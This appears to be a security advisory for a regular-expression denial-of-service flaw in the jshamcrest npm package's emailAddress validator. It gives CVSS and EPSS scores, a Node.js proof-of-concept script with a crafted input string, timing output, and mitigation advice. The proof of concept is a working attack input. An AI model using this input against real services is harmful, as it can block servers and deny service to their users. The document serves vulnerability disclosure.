5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
0.001 Low
EPSS
Percentile
49.9%
The jshamcrest
package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in to the emailAddress validator.
var js = require('jshamcrest')
var emailAddress = new js.JsHamcrest.Matchers.emailAddress();
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
for (i=1;i<=10000000;i=i+1) {
console.log("COUNT: " + i);
var str = '66666666666666666666666666666@ffffffffffffffffffffffffffffffff.' + genstr(i, 'a') + '{'
console.log("LENGTH: " + str.length);
var start = process.hrtime();
emailAddress.matches(str)
var end = process.hrtime(start);
console.log(end);
}
It takes about 116 characters to get a 1.6 second event loop block.
[ 1, 633084590 ]
COUNT: 51
LENGTH: 116
The jshamcrest
package currently has no patched versions available.
At this time, the best available mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are multiple modules fitting this criteria available on npm..
CPE | Name | Operator | Version |
---|---|---|---|
jshamcrest | le | 0.7.1 |
5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
0.001 Low
EPSS
Percentile
49.9%